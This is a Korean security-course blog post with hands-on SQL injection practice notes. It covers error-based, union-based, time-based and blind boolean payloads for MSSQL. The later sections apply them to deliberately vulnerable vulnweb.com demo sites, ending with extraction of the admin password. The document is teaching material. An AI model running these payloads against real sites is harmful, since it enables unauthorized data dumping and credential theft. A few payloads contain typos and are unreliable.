[목차]
1. DB에 SQL Injection 테스트 실습
2. 실습 정리
3. 추가 실습
4. 추가 실습 2
5. 참고사항 및 공격 방법 정리
[DB에 SQL Injection 테스트 실습]
① 에러유출을 통한 취약점 확인
select * from test where id=1'
-> 특수문자(') 삽입에 따른 에러 발생여부에 따라
취약점이 있다고 판단이 된다.
② 인증 우회 하기
select * from test where id ='1' or 'a'='a';
③ having and group by를 사용하여 에러유도 및 DB 정보 유출하기
select * from test where id='1' having 1=1--
-> 에러 정보 중에서 test.id(테이블.컬럼) 정보를 얻을 수 있다.
위에서 얻은 정보(test.id)를 제외하고 다른 정보를 얻기 위해
group by test.id 형식을 사용한다.
select * from test where id='1' group by test.id having 1=1--
-> 에러 정보 중에서 test.name(테이블.컬럼) 정보를 얻을 수 있다.
위에서 얻은 정보(test.id, test.name)를 제외하고 다른 정보를 얻기 위해서
group by test.id, test.name 형식을 사용한다.
select * from test where id='1' group by test.id, test.name having 1=1--
-> 에러 정보 중에서 test.password(테이블.컬럼) 정보를 얻을 수 있다.
만약 다음과 같이 정상적으로 출력이 된다면 더이상 필드 정보가 없다고 판단할 수 있다.
select * from test where id='1' group by test.id, test.name, test.password having 1=1--
④ convert() 함수를 통한 에러유도 및 정보 유출
@@version을 이용하여 DB 정보(DB 버전 정보) 확인하기
select * from test where id='1' and '1'=convert(int,@@version)--
-> 에러 출력 결과에 'Micorsoft SQL Server 2014 - 12.0.2000.8 (x86)' 정보를 확인할 수 있다.
db_name() 함수를 이용하여 DB 정보(테이블 이름) 확인하기
select * from test where id='1' and '1'=convert(int,db_name())--
-> 에러메세지 출력결과에 테이블 이름(test)를 확인할 수 있다.
user_name() 함수를 이용하여 DB 정보(DB 사용자 이름) 확인하기
select * from test where id='1' and '1'=convert(int,user_name())--
-> 에러메세지 출력결과에 현재 사용자(dbo) 정보를 확인할 수 있다.
information_schema.tables의 table_name를 이용하여 DB 정보(테이블 이름) 확인
select * from test where id='1' and '1'=convert(int,(select top 1 table_name from information_schema.tables))--
-> 에러메세지 출력결과에 테이블(users) 이름을 확인할 수 있다.
검색된 결과(test 테이블)를 제외하고 다른 테이블에 대한 정보를 요청한다.
select * from test where id='1' and '1'=
convert(int,(select top 1 table_name from information_schema.tables
where table_name not in ('test')))--
-> 에러메세지 출력결과에 다른 테이블(users) 이름을 확인할 수 있다.
검색된 결과(test, users 테이블)를 제외하고 다른 테이블에 대한 정보를 확인한다.
select * from test where id='1' and '1'=
convert(int,(select top 1 table_name from information_schema.tables
where table_name not in ('test', 'users')))--
-> 에러메세지 출력결과에 다른 테이블(bbs) 이름을 확인할 수 있다.
검색된 결과(test, users, bbs 테이블)를 제외하고 다른 테이블에 대한 정보를 확인한다.
select * from test where id='1' and '1'=
convert(int,(select top 1 table_name from information_schema.tables
where table_name not in ('test', 'users', 'bbs')))--
-> 에러 없이 정상적인 출력 결과가 나오기 때문에 추가적인 테이블은 없는 것으로 판단할 수 있다.
⑤ 필드 이름(columes name) 확인하기
필드 정보를 포함하는 information_schema.columns과
필드 이름을 제공하는 column_name을 사용
select * from test where id='1' and '1'=
convert(int,(select top 1 column_name from information_schema.columns
where table_name='test'))--
-> 에러 메세지 출력 결과에 필드(id) 이름을 확인할 수 있다.
확인된 id라는 필드를 제외한 추가 필드를 확인한다.
select * from test where id='1' and '1'=
convert(int,(select top 1 column_name from information_schema.columns
where table_name='test' and column_name not in ('id')))--
-> 에러 메세지 출력 결과에 필드(name) 이름을 확인할 수 있다.
● 확인된 id, name 필드를 제외한 추가 필드를 확인한다.
select * from test where id='1' and '1'=
convert(int,(select top 1 column_name from information_schema.columns
where table_name='test' and column_name not in ('id', 'name')))--
-> 에러 메세지 출력 결과에 필드(password) 이름을 확인할 수 있다.
● 확인된 id, name, password 필드를 제외한 추가 필드를 확인한다.
select * from test where id='1' and '1'=
convert(int,(select top 1 column_name from information_schema.columns
where table_name='test' and column_name not in ('id', 'name', 'password')))--
-> 에러 없이 정상적인 출력 결과가 나오기 때문에 추가적인 필드는 없는 것으로 판단할 수 있다.
● 필드의 저장 정보를 확인 확인한다.
select * from test where id='1' and '1'=convert(int,(select top 1 name from test))--
-> 에러 메세지의 출력 결과에 test 테이블에 들어 있는 name 필드의 값이
charlie로 되어 있는 것을 확인할 수 있다.
● 확인된 name 필드의 값(charlie)을 제외한 다른 정보 확인
select * from test where id='1' and '1'=
convert(int,(select top 1 name from test where name not in ('charlie')))--
-> 에러 메세지의 출력 결과에 test 테이블에 들어 있는 name 필드의 다른 값이
blade로 되어 있는 것을 확인할 수 있다.
● 확인된 name 필드의 값(charlie, blade)을 제외한 다른 정보 확인
select * from test where id='1' and '1'=
convert(int,(select top 1 name from test where name not in ('charlie', 'blade')))--
-> 에러 메세지의 출력 결과에 test 테이블에 들어 있는 name 필드의 다른 값이
conco로 되어 있는 것을 확인할 수 있다.
● 확인된 name 필드의 값(charlie, blade, conco)을 제외한 다른 정보 확인
select * from test where id='1' and '1'=
convert(int,(select top 1 name from test
where name not in ('charlie', 'blade', 'conco')))--
-> 에러 없이 정상적인 출력 결과가 나오기 때문에 추가적인 필드는 값은
없는 것으로 판단할 수 있다.
⑥ order by를 통한 필드 개수 확인
select * from test where id=1 order by 1--
select * from test where id=1 order by 2--
select * from test where id=1 order by 3--
select * from test where id=1 order by 4--
-> 4개째 에러가 발생하므로 필드의 개수는 3개임을 판단할 수 있다.
⑦ 부정조건과 함께 사용되는 union 쿼리
"6번 테스트" 결과에서 필드의 개수가 3개임을 확인했다.
따라서 union 쿼리를 사용할 수 있다.
아래와 같이 부정 조건과 함께 사용되는 union select 사용해 보자.
select * from test where id=1 and 1=2 union select 11,22,33--
⑧ union을 통한 버전 정보 확인하기
select * from test where id=1 and 1=2 union select 11,22,@@version--
-> 첫번째나 두번째 필드에 @@version를 사용해도 된다.
⑨ union을 이용한 테이블 목록 확인
information_schema.tables와 table_name을 이용하여 bbs, test, users 테이블를 확인한다.
select * from test where id=1
and 1=2 union select 11,22,table_name from information_schema.tables--
-> 3번째 필드에 table 정보(bbs, test, users)를 확인할수 있다.
⑩ union을 이용한 컬럼(column) 목록 확인
information_schema.columns와 column_name을 이용하여 test 테이블의 컬럼을 확인한다.
select * from test where id=1 and 1=2
union select 11,22,column_name from information_schema.columns where table_name='test'--
-> 출력 결과 중 3번째 필드에 test 테이블의 각 컬럼(id, name, password)을 확인할 수 있다.
[실습 정리]
1. 에러 유발
select * from test where id=1'
2. 인증 우회
select * from test where id ='1' or 'a'='a';
3. having and group by를 사용하여 에러 유도 및 DB 정보 추출
select * from test where id='1' having 1=1--
select * from test where id='1' group by test.id having 1=1--
4. convert() 함수를 통한 에러 유도 및 정보 추출
@@version을 이용하여 DB 정보(DB 버전 정보) 확인하기
select * from test where id='1' and '1'=convert(int,@@version)--
5 . conver() 함수 + top 1 사용해 테이블 정보 추출
select * from test where id='1' and '1'=
convert(int,(select top 1 table_name from information_schema.tables
where table_name not in ('test', 'users', 'bbs')))--
6. 컬럼 이름(columes name) 확인하기
필드 정보를 포함하는 information_schema.columns과
필드 이름을 제공하는 column_name을 사용
select * from test where id='1' and '1'=
convert(int,(select top 1 column_name from information_schema.columns
where table_name='test'))--
7. union을 이용한 테이블 목록 확인
information_schema.tables와 table_name을 이용하여 bbs, test, users 테이블를 확인한다.
select * from test where id=1
and 1=2 union select 11,22,table_name from information_schema.tables--
8. union을 이용한 컬럼(column) 목록 확인
information_schema.columns와 column_name을 이용하여 test 테이블의 컬럼을 확인한다.
select * from test where id=1 and 1=2
union select 11,22,column_name from information_schema.columns where table_name='test'--
[추가 실습]
* MSSQL DB 공략
- 대상 시스템 : http://testaspnet.vulnweb.com
- 테스트 도구 : 웹브라우저
* 웹 접속 후 상단 메뉴의 "news"을 선택 >
화면에 "Web Attacks - Can Your Web Applications Withstand The Force?" 선택
* 공격 가능 유형 판단
① 에러 기반의 SQL Injection(Error-based SQL Injection)
SQL Injection 취약성 테스트
-> URL 부분에 특수문자(')를 입력
http://testaspnet.vulnweb.com/ReadNews.aspx?id=2'
-> 에러 메세지가 나오지 않는다. 따라서
에러 기반 SQL Injection을 사용할 수 없는 것 같다.
② Blind SQL Injection
에러 메세지가 나오지 않으므로 Blind SQL Injection 테스트가 가능한지 여부를
아래와 같이 확인한다.
http://testaspnet.vulnweb.com/ReadNews.aspx?id=2 and 1=1
http://testaspnet.vulnweb.com/ReadNews.aspx?id=2 and 1=0
-> 정상적으로 쿼리가 수행되지 않는것 같다.
따라서, 공격 가능성이 있다고 판단한다.
③ 타임기반의 Blind SQL Injection을 통해 데이터베이스 종류 확인
DB 종류 확인
* MySQL : sleep() 함수 사용
* MS-SQL : waitfor delay 함수 사용
http://testaspnet.vulnweb.com/ReadNews.aspx?id=2 select sleep(5) --
-> 정보가 없는 페이지만 출력되는것으로 판단하여 sleep() 함수가 동작하지 않는것 같다.
따라서, DB 서버가 MySQL은 아닌것 같다.
http://testaspnet.vulnweb.com/ReadNews.aspx?id=2; waitfor delay '0:0:5'
-> 웹브라우저의 왼쪽 하단을 보면 5초 뒤에 이 페이지가 정상적으로 보여 진다는 것을 알수 있으므로
DB 서버는 MS-SQL 인것으로 판단할 수 있다.
[추가 실습 2]
MS-SQL DB 공격을 통한 데이터베이스 정보 확인
테스트 대상 : http://testasp.vulnweb.com
테스트 도구 : 웹브라우저
다음 사이트에 접속
http://testasp.vulnweb.com/showforum.asp?id=2
① 필드 개수 확인
http://testasp.vulnweb.com/showforum.asp?id=2 order by 1--
http://testasp.vulnweb.com/showforum.asp?id=2 order by 2--
http://testasp.vulnweb.com/showforum.asp?id=2 order by 3--
-> order by 3-- 입력했을때 에러가 발생된다. 따라서 테이블안의 컬럼 개수가 2개인것을 확인할 수 있다.
② union select 사용하여 버전 정보 확인
http://testasp.vulnweb.com/showforum.asp?id=2 and 1=2 union select 11,22--
-> 에러 메세지안에 '11'이 보이기 때문에 첫번째 필드만을 사용하여 정보를 획득해야 한다.
11
Microsoft SQL Native Client error '80040e14'
All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists.
/showforum.asp, line 120
http://testasp.vulnweb.com/showforum.asp?id=2 and 1=2 union select @@version,22--
-> Microsoft SQL Server 2005 알수 있다.
③ 테이블 정보 확인
http://testasp.vulnweb.com/showforum.asp?id=2 and 1=2 union select table_name, 22 from information_schema.tables--
-> 테이블 이름이 forums 인것을 확인할 수 있다.
④ 사용자가 만든 테이블 전체 확인
http://testasp.vulnweb.com/showforum.asp?id=2 and 1=2 union select count(*), 22 from sysobjects where xtype=0x55
-> count() 함수는 사용자 테이블의 개수를 확인할 때 사용한다.
-> 사용자의 테이블 개수가 4개임을 확인할 수 있다.
⑤ 4개 사용자 테이블의 문자열이 길이 확인
http://testasp.vulnweb.com/showforum.asp?id=2 and 1=2 union select top 1 len(name), 22 from sysobjects where xtype=0x55
-> 첫번째 테이블 이름의 길이는 7자리임을 알수 있다.
두번째 테이블을 검색해 보자.
http://testasp.vulnweb.com/showforum.asp?id=2 and 1=2 union select top 1 len(name), 22 from sysobjects where xtype=0x55 and name not in (select top 1 name from sysobjects where xtype=0x55)
-> 두번째 테이블의 이름은 5자리임을 알수 있다.
세번째 테이블에 대해서 확인해 보자.
http://testasp.vulnweb.com/showforum.asp?id=2 and 1=2 union select top 1 len(name), 22 from sysobjects where xtype=0x55 and name not in (select top 2 name from sysobjects where xtype=0x55)
-> 세번째 테이블 이름의 길이는 6자리임을 알수 있다.
네번째 테이블(마지막 테이블)에 대해서 확인해 보자.
http://testasp.vulnweb.com/showforum.asp?id=2 and 1=2 union select top 1 len(name), 22 from sysobjects where xtype=0x55 and name not in (select top 3 name from sysobjects where xtype=0x55)
-> 네번째 테이블의 이름의 길이는 5개임을 알수 있다.
지금까지 확인된 정보를 정리하면 다음과 같다.
---------------------------------------------------------
문자열 길이 검색조건
---------------------------------------------------------
첫번째 테이블 7 select top 1 len(name)
---------------------------------------------------------
두번째 테이블 5 select top 1 len(name) ....
name not in (select top 1 name
---------------------------------------------------------
세번째 테이블 6 select top 1 len(name) ....
name not in (select top 2 name
---------------------------------------------------------
네번째 테이블 5 select top 1 len(name)
name not in (select top 3 name
---------------------------------------------------------
⑥ 4개의 사용자 테이블 이름 추출
http://testasp.vulnweb.com/showforum.asp?id=2 and 1=2 union select top 1 name, 22 from sysobjects where xtype=0x55
-> 첫번째 테이블 이름은 threads 라는것을 확인할 수 있다.
http://testasp.vulnweb.com/showforum.asp?id=2 and 1=2 union select top 1 name, 22 from sysobjects where xtype=0x55 and name not in ('threads')--
http://testasp.vulnweb.com/showforum.asp?id=2 and 1=2 union select top 1 name, 22 from sysobjects where xtype=0x55 and name not in ('threads', 'users')--
http://testasp.vulnweb.com/showforum.asp?id=2 and 1=2 union select top 1 name, 22 from sysobjects where xtype=0x55 and name not in ('threads', 'users', 'forums')--
⑦ users 테이블의 필드 개수 확인
http://testasp.vulnweb.com/showforum.asp?id=2 and 1=2 union select top 1 count(*), 22 from syscolumns where id=(select id from sysobjects where name='users')--
⑧ users 테이블의 필드 확인
http://testasp.vulnweb.com/showforum.asp?id=2 and 1=2 union select top 1 name, 22 from syscolumns where id=(select id from sysobjects where name='users')--
http://testasp.vulnweb.com/showforum.asp?id=2 and 1=2 union select top 1 name, 22 from syscolumns where id=(select id from sysobjects where name='users') and name not in ('uname')--
http://testasp.vulnweb.com/showforum.asp?id=2 and 1=2 union select top 1 name, 22 from syscolumns where id=(select id from sysobjects where name='users') and name not in ('uname', 'upass')--
http://testasp.vulnweb.com/showforum.asp?id=2 and 1=2 union select top 1 name, 22 from syscolumns where id=(select id from sysobjects where name='users') and name not in ('uname', 'upass', 'email')--
http://testasp.vulnweb.com/showforum.asp?id=2 and 1=2 union select top 1 name, 22 from syscolumns where id=(select id from sysobjects where name='users') and name not in ('uname', 'upass', 'email', realname')--
⑨ users 테이블의 users, upass 필드 정보 확인
http://testasp.vulnweb.com/showforum.asp?id=2 and 1=2 union select top 1 uname, 22 from users--
http://testasp.vulnweb.com/showforum.asp?id=2 and 1=2 union select top 1 uname, 22 from users
where uname not in (select top 1 uname from users)--
http://testasp.vulnweb.com/showforum.asp?id=2 and 1=2 union select top 1 uname, 22 from users
where uname not in (select top 140 uname from users)--
http://testasp.vulnweb.com/showforum.asp?id=2 and 1=2 union select top 1 upass, 22 from users
where uname='admin'--
[참고] Blind SQL Injection
대상 URL : http://testasp.vulnweb.com/showforum.asp?id=2
(1) SQL Injection 가능 유무 확인
id='1
(2) Blind SQL Injection 가능 유무 확인
id=2 and 1=1
id=2 and 1=2
(3) DB 이름
■ DB 이름 길이 확인(현재 DB 이름 길이 = 8)
id=2 and len(db_name())=1
id=2 and len(db_name())=2
id=2 and len(db_name())=3
id=2 and len(db_name())=4
id=2 and len(db_name())=5
id=2 and len(db_name())=6
id=2 and len(db_name())=7
id=2 and len(db_name())=8
[다른 방법]
id=2 and db_name(1)
id=2 and db_name(2)
id=2 and db_name(3)
id=2 and db_name(4)
id=2 and db_name(5)
id=2 and db_name(6)
id=2 and db_name(7)
id=2 and db_name(8)
■ DB 이름 확인(현재 DB 이름 = 'acuforum')
id=2 and substring(db_name(),1,1)='a'
id=2 and substring(db_name(),1,2)='ac'
id=2 and substring(db_name(),1,3)='acu'
id=2 and substring(db_name(),1,4)='acuf'
id=2 and substring(db_name(),1,5)='acufo'
id=2 and substring(db_name(),1,6)='acufor'
id=2 and substring(db_name(),1,7)='acuforu'
id=2 and substring(db_name(),1,8)='acuforum'
[다른 방법]
id=2 and substring(db_name(),1,1)='a'
id=2 and substring(db_name(),2,1)='c'
id=2 and substring(db_name(),3,1)='u'
id=2 and substring(db_name(),4,1)='f'
id=2 and substring(db_name(),5,1)='o'
id=2 and substring(db_name(),6,1)='r'
id=2 and substring(db_name(),7,1)='u'
id=2 and substring(db_name(),8,1)='m'
(4) Table 이름
■ DB 테이블 개수 확인(현재 DB의 테이블의 개수 = 4)
id=2 and (select count(*) from information_schema.tables)=1
id=2 and (select count(*) from information_schema.tables)=2
id=2 and (select count(*) from information_schema.tables)=3
id=2 and (select count(*) from information_schema.tables)=4
■ 1번째 테이블 이름 길이 확인(1번째 테이블 이름 길이 = 7)
id=2 and len((select top 1 table_name from information_schema.tables))=1
id=2 and len((select top 1 table_name from information_schema.tables))=2
id=2 and len((select top 1 table_name from information_schema.tables))=3
id=2 and len((select top 1 table_name from information_schema.tables))=4
id=2 and len((select top 1 table_name from information_schema.tables))=5
id=2 and len((select top 1 table_name from information_schema.tables))=6
id=2 and len((select top 1 table_name from information_schema.tables))=7
■ 1번째 테이블 이름 확인(1번째 테이블 이름 = threads)
id=2 and substring((select top 1 table_name from information_schema.tables),1,1)='t'
id=2 and substring((select top 1 table_name from information_schema.tables),2,1)='h'
id=2 and substring((select top 1 table_name from information_schema.tables),3,1)='r'
id=2 and substring((select top 1 table_name from information_schema.tables),4,1)='e'
id=2 and substring((select top 1 table_name from information_schema.tables),5,1)='a'
id=2 and substring((select top 1 table_name from information_schema.tables),6,1)='d'
id=2 and substring((select top 1 table_name from information_schema.tables),6,1)='s'
■ 2번째 테이블 이름 길이 확인(2번째 테이블 이름 길이 = 5)
id=2 and len((select top 1 table_name from information_schema.tables where table_name not in ('threads')))=5
■ 2번째 테이블 이름 확인(2번째 테이블 이름: users)
id=2 and substring((select top 1 table_name from information_schema.tables where table_name not in ('threads')),1,1)='u'
■ 3번째 테이블 이름 길이 확인(3번째 테이블 이름 길이: 6)
id=2 and len((select top 1 table_name from information_schema.tables where table_name not in ('threads', 'users')))=6
■ 3번째 테이블 이름 확인(3번째 테이블 이름 = forums)
id=2 and substring((select top 1 table_name from information_schema.tables where table_name not in ('threads', 'users')),1,1)='f'
■ 4번째 테이블 이름 길이 확인(4번째 테이블 이름 길이 = 5)
len((select top 1 table_name from information_schema.tables where table_name not in('threads', 'users', 'forums')))=5
■ 4번째 테이블 이름 확인(4번째 테이블 이름 = posts)
substring((select top 1 table_name from information_schema.tables where table_name not in('threads', 'users', 'forums')), 1, 1) = 'p'
[참고 사항 및 공격 방법 정리]
1. 구글검색 키워드는 'sql injection advanced cheat sheet'
SELECT *
FROM Users
WHERE UserID = '1' AND ASCII(SUBSTRING(username,1,1)) = 97 AND '1' = '1'
substring 함수를 쓰기 위해서는
ASCII 코드 표를 이해하고 있어야 한다.
A = 65 (Dec 10진수)
a = 97
숫자 0 = 48
33~ 122번까지는 테스트 해야한다.
2. 인젝션 공격의 첫 스텝은 DB 종류를 확인하는 것
1) DB 길이를 먼저 찾아야 한다. 길이를 찾는 이유는 프로그램으로 돌리기 위해
http://example.com/login.php?id=1 and len(db_name())=1
-> 참이 될때까지 숫자를 증가시키다가 참이 되어서 원래 페이지가 정상 출력되면 맞는 것
http://example.com/login.php?id=1 and substring(db_name(),1,1)='a'
참이 될때까지 시도
http://example.com/login.php?id=1 and substring(db_name(),2,1)='a'
http://example.com/login.php?id=1 and substring(db_name(2),3,1)='a'
2) DB를 찾았으면 다음으로 table 정보를 찾아야 한다.
http://example.com/login.php?id=1 and (select coung(*) from information_schema.tables)=1
참이 될때까지 숫자를 증가시키다가 정상 출력 되면 확인된것
http://example.com/login.php?id=1 and len((select top 1 table_name from information_schema.tables))=1 (괄호로 다시 묶어준건 서브 쿼리이기 때문)
http://example.com/login.php?id=1 and substring((select top 1 table_name from information_schema.tables), 1, 1)='a' (첫 번째 테이블의 첫 번째 자리가 a냐)
http://example.com/login.php?id=1 and len(select top 1 column_name from formation_schema.columns where table_name='test' not in ('')) = 1
'정보보안공부 > 정보보안전문과정' 카테고리의 다른 글
정보보안과정 119 : Paros + sqlmap 2 (0) | 2021.03.02 |
---|---|
정보보안 과정 Day 118-1 : Paros + sqlmap (0) | 2021.02.26 |
정보보안 과정 Day 117 : MySQL DB 쿼리 테스트 / 웹쉘 (0) | 2021.02.25 |
정보보안 과정 Day116-1 : SQL Injection (0) | 2021.02.24 |
정보보안 과정 Day116 : 웹 보안 시작 (진단기준 / HTTP 프로토콜) (0) | 2021.02.24 |